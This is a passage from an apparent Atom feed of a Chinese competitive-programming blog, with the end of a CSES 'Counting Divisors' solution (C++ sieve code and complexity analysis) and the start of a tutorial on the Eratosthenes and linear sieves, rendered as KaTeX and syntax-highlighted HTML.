style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">2^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mi mathvariant="normal">/</mi><mn>2</mn><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">4/2=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4/2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> (<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>這個質因數處理完畢)</li><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的最大質因數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>相同，所以目前有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li><li>碰到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>了，此時有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>，所以將ans再乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">2+1=3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，得到最終答案為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn></mrow><annotation encoding="application/x-tex">12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span></li></ol><h2 id="ac-code-3" tabindex="-1" id="AC-Code-4">AC Code</h2><blockquote><p>跟他原版程式不太一樣，因為我有用自己的方法再寫一次<br>一是因為不知道這能不能直接轉載<br>二是我不會<code>vector</code></p></blockquote><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> N <span class="token operator">=</span> <span class="token number">1e6</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">int</span> max_prime_factor<span class="token punctuation">[</span>N<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>N<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>max_prime_factor<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span>i<span class="token punctuation">;</span>j<span class="token operator">&lt;</span>N<span class="token punctuation">;</span>j<span class="token operator">+=</span>i<span class="token punctuation">)</span> max_prime_factor<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token operator">=</span>i<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> x<span class="token punctuation">,</span> mp<span class="token punctuation">,</span> ans<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span> t<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>    cin <span class="token operator">>></span> x<span class="token punctuation">;</span>    <span class="token keyword">while</span><span class="token punctuation">(</span>x<span class="token operator">!=</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      mp <span class="token operator">=</span> max_prime_factor<span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token punctuation">;</span>      x <span class="token operator">/=</span> mp<span class="token punctuation">;</span> t<span class="token operator">+=</span><span class="token number">1</span><span class="token punctuation">;</span>      <span class="token keyword">if</span><span class="token punctuation">(</span>max_prime_factor<span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">!=</span> mp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        ans <span class="token operator">*=</span> t<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>        t<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    cout <span class="token operator">&lt;&lt;</span> ans <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6-3" tabindex="-1" id="複雜度-4">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-3" tabindex="-1" id="時間複雜度-4">時間複雜度</h3><p>預處理需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N\log\log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>(等我哪天學了Mertens’ second theorem不然我還是不會證)<br>計算正因數個數需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mi>log</mi><mo>⁡</mo><msub><mi>x</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n\log{x_{max}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><br>所以總時間複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo>+</mo><mi>n</mi><mi>log</mi><mo>⁡</mo><msub><mi>x</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N\log\log N + n\log{x_{max}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-3" tabindex="-1" id="空間複雜度-4">空間複雜度</h3><p>顯然是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><h1 id="%E8%A7%A3%E6%B3%95%E4%BA%94%EF%BC%9A%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E7%A9%8D%E6%80%A7%E5%87%BD%E6%95%B8" tabindex="-1">解法五：線性篩求積性函數</h1><p>想法：用線性篩+動態規劃建表，把所有答案先都算出來<br>請見<a href="/2026/06/11/%E6%BC%94%E7%AE%97%E6%B3%95-%E7%B7%9A%E6%80%A7%E7%AF%A9/#%25E7%25B7%259A%25E6%2580%25A7%25E7%25AF%25A9%25E6%25B1%2582%25E6%25AD%25A3%25E5%259B%25A0%25E6%2595%25B8%25E5%2580%258B%25E6%2595%25B8">[演算法] 線性篩 | R3X’s Blog</a></p><p>這我也是打很久……<br>若有誤歡迎留言指正！</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/11/CSES-Counting-Divisors-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/11/CSES-Counting-Divisors-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-11T05:23:35.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>我把這題想太複雜了……<br>
弄了個爛解</p>
</blockquote>
<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<]]>
    </summary>
    <title>CSES - Counting Divisors 題解</title>
    <updated>2026-06-11T05:23:35.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="sieve" scheme="https://r3xdj.pages.dev/tags/sieve/"/>
    <category term="algorithm" scheme="https://r3xdj.pages.dev/tags/algorithm/"/>
    <content>
      <![CDATA[<h1 id="%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AF%A9%E6%B3%95" tabindex="-1">埃拉托斯特尼篩法</h1><p>我們從大家國一就學過的<strong>埃拉托斯特尼篩法</strong>開始。<br>維護一個布林陣列<code>not_prime</code>，索引為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>那欄表示數字<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>是否為質數，若為質數則該欄為<code>0</code>，若為合數則為<code>1</code>。</p><blockquote><p>我之所以用0表示質數1表示合數是因為如此可省去初始化填入<code>1</code>的步驟。<br>而<strong>埃拉托斯特尼篩法</strong>的邏輯就是先預設所有數都是質數，再一步步把不是的劃掉</p></blockquote><p>因為大家都學過這個篩法的步驟和原理(去問你國中數學老師)，以下直接上程式</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">Eratosthenes</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  not_prime<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> not_prime<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 將質數加入 prime</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token number">1LL</span><span class="token operator">*</span>i<span class="token operator">*</span>i <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span>i<span class="token operator">*</span>i<span class="token punctuation">;</span> j<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> j<span class="token operator">+=</span>i<span class="token punctuation">)</span> not_prime<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token comment">// 之所以從i*i開始是因為比這個數小的i的倍數i*k (k&lt;i) 都已經被篩過了</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以用 Mertens 第二定理證明其時間複雜度為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n\log\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></p><blockquote><p>我不會證</p></blockquote><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9(%E6%AD%90%E6%8B%89%E7%AF%A9%E6%B3%95)" tabindex="-1">線性篩(歐拉篩法)</h1><blockquote><p>因為我這裡卡了很久，所以希望能把它解釋清楚讓更多人能茅塞頓開。</p></blockquote><p><strong>線性篩</strong>是<strong>埃拉托斯特尼篩法</strong>的優化版本。<br>埃拉托斯特尼篩法中，一個合數會被多次篩到，以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>60</mn></mrow><annotation encoding="application/x-tex">60</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">60</span></span></span></span>為例，當迴圈跑到<code>i=2</code>時，會跑一次<code>not_prime[60] = true;</code>，<code>i=3</code>時也會再次執行<code>not_prime[60] = true;</code>，<code>i=5</code>時也會，但除了第一次，之後都只是花時間在做一件已經完成的事情(也就是重複的跑<code>not_prime[60] = true;</code>)。<br>線性篩的想法很簡單：</p><blockquote><p>要是我們能讓每個合數<strong>都只被他<em>最小的質因數</em>篩掉</strong>就好了</p></blockquote><p>如此，篩法的時間複雜度就會降到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></p><h2 id="%E5%8E%9F%E7%90%86%E8%A7%A3%E8%AA%AA" tabindex="-1" id="原理解說">原理解說</h2><p>每個合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>都可以被分解成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub><mo>⋅</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K\cdot i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>的最小質因數。<br>由於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>的最小質因數，為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>最小的非1的因數，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" 